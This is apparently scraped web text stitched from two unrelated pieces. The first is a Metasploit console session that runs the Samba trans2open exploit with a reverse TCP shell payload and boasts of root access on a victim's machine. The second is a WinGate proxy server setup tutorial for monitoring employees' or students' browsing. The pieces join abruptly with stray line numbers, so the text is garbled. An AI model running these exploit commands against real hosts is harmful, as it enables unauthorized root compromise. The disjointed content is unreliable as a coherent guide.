msf exploit(linux/samba/trans2open) > set payload linux/x86/shell_reverse_tcp
msf exploit(linux/samba/trans2open) > set lhost 192.168.1.107
msf exploit(linux/samba/trans2open) > exploit
1
2
3
4
5
use exploit/linux/samba/trans2open
msf exploit(linux/samba/trans2open) > set rhost 192.168.1.109
msf exploit(linux/samba/trans2open) > set payload linux/x86/shell_reverse_tcp
msf exploit(linux/samba/trans2open) > set lhost 192.168.1.107
msf exploit(linux/samba/trans2open) > exploit
B0000MM!! Here we have command shell of victim’s machine with root access.
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-hjH8YDTGICY/WzSCkwqb6EI/AAAAAAAAXlM/3sINaoNMWhEjUzAVAoxlLLxxRVsmNI2RgCEwYBhgL/s1600/4.png?w=687&ssl=1)
Digital era allows the company to work securely and much efficiently. For doing so software’s and hardware’s play a major role. Today, it is nearly impossible to work without technology. And we all know that when something has advantages when it comes with disadvantages too. For instance, you run a company or institute or even college. And you want to make sure that your employees or students are doing nothing but their work, so, how will know that? You can never know what someone is doing on their computer whether they are searching for inappropriate data or are playing a game or downloading a virus. Not even a router helps us monitor all the devices connected to our network. so, in this case, you can set up a Proxy Server.
First of all, connect both of your LAN cards to your computer. Once the LAN cards are connected, all you need to know is the IP address of the second network which it will configure automatically.
Now, open WinGate to its Welcome panel by right clicking on its hidden icon on the taskbar and selecting WinGate management option.
Now, go to your client computer, i.e the computer whose proxy you want to set up, and right-click on network adaptor icon (it is present on the right-hand side of the taskbar) and open network sharing dialogue box.
Now, open the Local Area Connection. The following window will open.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-qUnhBrbvkpU/V5ja-4IqhxI/AAAAAAAANA4/rv-rZe6ocjEuAAf7m6-tDHoeo6VovKYNgCLcB/s1600/7.png?w=687&ssl=1)
Now to go properties and the following windows will open.
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-4wIScxpQISU/V5ja_YwoSrI/AAAAAAAANBA/Ho1p0zlYEbU7FKm1AxgiPJV7JQH2XhjtwCLcB/s1600/8.png?w=687&ssl=1)
Now select Internet Protocol Version 4 (TCP/IPv4) and click on properties and the following windows will open. Select Use the following IP address automatically in the said window. Here, give IP address of the series ahead of the IP address of the second LAN card’s IP address along with subnet mask. In the Default Gateway option, give the IP address of second LAN card.
Now, select Use the following DNS server automatically and give 8.8.8.8 as DNS address. Then click on OK.
The open web browser in your client computer, go to settings, open LAN settings and give the Default Gateway’s IP address. After doing so, all the traffic from the client’s computer will go through the proxy server and so; one will be able to monitor it.
Now that your web proxy is all setup go back to your proxy server (the computer in which you installed WinGate). Open WinGate, choose Network Connections from Control Panel. You will see two options.
Out of these two options right click on the option with the router’s IP (first LAN card’s IP) and select Edit Option. And then select an external untrusted network and click on OK as shown:
After clicking on OK the settings will change and you will be able to differentiate between external and internal network as:
If you want that any time your client computer opens a browser then they should enter a username and password to access the internet then all you have to do is go to Users and Groups.
Right click on the screen and select create user option. There give name and description (optional)
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-aMhlQQ6lgtY/V5ja9dBTa9I/AAAAAAAANAk/O8pUBE5VKco7t7IVsjjolg8CyRBCjWjLQCLcB/s1600/15.png?w=687&ssl=1)
After giving name click on Next, give Account name and select Account locked option and again click on Next.
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-x7oV-GKVC-8/V5ja9t5gW2I/AAAAAAAANAo/Ivspz-wAUjE-dDwCNKLOItHLzpD2rIjOgCLcB/s1600/16.png?w=687&ssl=1)
Now it will ask for a password. Enter your password and click on Finish.
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-x_uS33V5QTw/V5ja90OrhFI/AAAAAAAANAs/0A_pweHDYWwgWMSyGlAsaY_C8413D0GeACLcB/s1600/18.png?w=687&ssl=1)
By doing so, It will show you the entire user you just created.
|
|
|
|
|